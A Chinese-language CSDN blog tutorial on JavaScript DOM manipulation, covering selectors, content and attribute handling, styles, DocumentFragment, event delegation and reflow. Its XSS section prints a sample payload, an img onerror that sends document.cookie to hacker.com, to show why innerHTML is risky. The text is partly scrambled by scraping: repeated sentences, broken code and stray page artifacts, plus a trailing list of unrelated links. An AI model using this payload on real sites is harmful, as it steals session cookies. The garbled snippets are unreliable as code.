在前端开发中,DOM(Document Object Model,文档对象模型) 是连接 JavaScript 脚本与 HTML 文档的桥梁。通过 DOM API,我们可以动态地访问、修改页面的内容、结构和样式。
本文将从获取元素、操作内容、修改属性、控制样式、节点变换以及性能优化六个维度,带你全面掌握 DOM。
一、 精准选择元素:从“能用”到“性能最优” 选择元素是所有操作的前提,但不同的选择方式在性能和返回结果的“实时性”上有显著区别。
- 常用选择器对比 方法 返回类型 是否实时 (Live) 性能 建议 getElementById 单个 Element - 极高 有 ID 时首选 getElementsByTagName HTMLCollection 是 高 慎用(实时更新会影响循环性能) querySelector 第一个 Element - 中 灵活性最高,推荐 querySelectorAll NodeList 否 中 遍历操作的首选
- “实时”集合的坑(避坑指南) getElementsByClassName 返回的是动态集合。如果在循环中改变了类名,集合长度会实时变化,导致漏掉元素。
// ❌ 错误示范:会导致无限循环或漏处理
const activeItems = document.getElementsByClassName('active');
for (let i = 0; i < activeItems.length; i++) {
activeItems[i].classList.remove('active'); // 处理一个,集合长度减一个,i 却在增加
}
// ✅ 正确方案:使用 querySelectorAll 或将类数组转为真数组 const items = document.querySelectorAll('.active'); items.forEach(el => el.classList.remove('active')); // NodeList 是静态的,安全! AI写代码 ng-star-inserted
二、 内容与属性的高阶操作
- 内容修改的安全性 textContent: 纯文本,性能高,防 XSS 注入。
innerHTML: 解析 HTML,适合插入复杂结构。
insertAdjacentHTML (进阶建议): 比 innerHTML 更精准、性能更好,因为它不会重新解析整个容器。
const list = document.querySelector('#user-list');
// 在容器末尾插入,不破坏原有节点
list.insertAdjacentHTML('beforeend', '
AI写代码
ng-star-inserted
2. 属性的“双面性”:Property vs Attribute
Attribute 属性 属性: HTML 标签上的初始值(总是字符串)。
Property 财产 财产: JS 对象的实时状态(可以是布尔、数字、对象)。
const input = document.querySelector('input');
input.setAttribute('value', 'hello'); // 修改 HTML 属性
console.log(input.value); // "hello" (同步修改)
// 特殊情况:checked
// input.getAttribute('checked') 获取的是初始值
// input.checked 获取的是用户当前的勾选状态(布尔值)
AI写代码
ng-star-inserted
3. Dataset 自定义数据(现代用法)
// HTML:
const app = document.querySelector('#app');
console.log(app.dataset.userId); // "99" (自动处理连字符)
let config = JSON.parse(app.dataset.config); // 存储 JSON 对象
AI写代码
ng-star-inserted
三、 样式控制:超越 .style
- 批量操作样式 (classList) 避免 el.style.xxx = yyy 的连排写法,那会频繁触发重绘。
const box = document.querySelector('.box');
// 推荐
box.classList.add('active', 'highlight');
box.classList.replace('old-class', 'new-class');
AI写代码
ng-star-inserted
2. 获取计算后的样式 (ComputedStyle)
el.style 只能获取行内样式。要获取 CSS 文件中定义的最终样式,必须使用:
const width = window.getComputedStyle(box).width;
console.log(width); // 输出类似 "250.5px" (带单位的精确值)
AI写代码
ng-star-inserted
3. 操作 CSS 变量 (进阶)
通过 JS 动态修改全局皮肤:
document.documentElement.style.setProperty('--main-color', '#ff0000');
AI写代码
ng-star-inserted
四、 节点操作:增删改查的实战
- 极其高效的插入:DocumentFragment 如果你要插入 1000 个
- < li>,直接循环 appendChild 列表末尾 会让浏览器崩溃。
const ul = document.querySelector('ul');
const fragment = document.createDocumentFragment(); // “虚拟”容器
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = List Item <span style="color:#24292e">${i}</span>;
fragment.appendChild(li); // 此时不触发布局计算
}
ul.appendChild(fragment); // 只触发一次重排 (Reflow)
AI写代码
ng-star-inserted
节点克隆 cloneNode(true):true 真正的 代表深克隆(包含子节点和内容)。注意克隆后的 ID 冲突问题。
关系查找 (Traversing) el.closest('.container') el.closest(“.container”): 神级方法。向上查找最近的匹配父元素。
el.children: 只选标签,避开讨厌的文本节点(text node)。
五、 事件委派:DOM 性能的核心 不要给 100 个
- < ul>。
- 读写分离 浏览器有优化机制,会合并多次修改。但如果你在修改中间插入了读取操作,优化就会失效。
- 离线操作 在修改复杂 DOM 前,先将其 display: none 显示:没有(离线),修改完毕后再显示。这样中间的过程只触发两次重排。
const list = document.querySelector('#list');
list.addEventListener('click', (e) => {
// 确保点击的是 li,而不是 ul 背景
const target = e.target.closest('li');
if (target && list.contains(target)) {
console.log('点击了列表项:', target.textContent);
}
});
AI写代码
ng-star-inserted
六、 性能优化:如何避免页面卡顿?
DOM 操作慢,本质上是触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)触发了浏览器的“重排”(Reflow)和“重绘”(Repaint)。
// ❌ 坏习惯:触发多次强制重排
el.style.width = '100px';
console.log(el.offsetWidth); // 读取操作,强制浏览器立即计算布局
el.style.height = '100px';
// ✅ 好习惯:先读后写,批量处理 const w = el.offsetWidth; const h = el.offsetHeight; el.style.width = (w + 10) + 'px'; el.style.height = (h + 10) + 'px'; AI写代码 ng-star-inserted
七、 安全拓展:防范 XSS 攻击 当使用 innerHTML 插入用户提交的评论时:
// 恶意代码示例
const userComment = <img src="x" onerror="fetch('http://hacker.com?cookie=' + document.cookie)">;
// ❌ 危险操作 document.body.innerHTML = userComment;
// ✅ 安全操作:永远对外部数据进行过滤或直接使用 textContent const div = document.createElement('div'); div.textContent = userComment; // 恶意代码会被当做纯文字显示,不执行 AI写代码 ng-star-inserted
总结 掌握 DOM 的精髓不在于背诵 API,而在于:
最小化重排频率(使用 Fragment、读写分离)。
利用事件冒泡(事件委派)。
时刻警惕安全隐患(慎用 innerHTML)。
善用现代方法(classList, dataset, closest)。 (类列表,数据集,分类
希望这份经过“自查”与“扩充”的指南能让你对 DOM 的理解提升一个层次! ———————————————— 版权声明:本文为CSDN博主「2501_94831187」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/2501_94831187/article/details/156827418 https://infogram.com/untitled-1h0r6rzwyo93w4e https://infogram.com/untitled-1h9j6q759ol1v4g https://infogram.com/untitled-1h0r6rzwyo7ew4e https://infogram.com/microsoft-office-word-2007-docx-1h7v4pd0lv1r84k https://infogram.com/untitled-1hxj48mqg09zq2v https://infogram.com/untitled-1h9j6q759on3v4g https://infogram.com/untitled-1h984wv15wyqz2p https://infogram.com/untitled-1h0r6rzwyo1vw4e https://infogram.com/untitled-1h0n25opq079z4p https://infogram.com/untitled-1h7v4pd0lvg084k


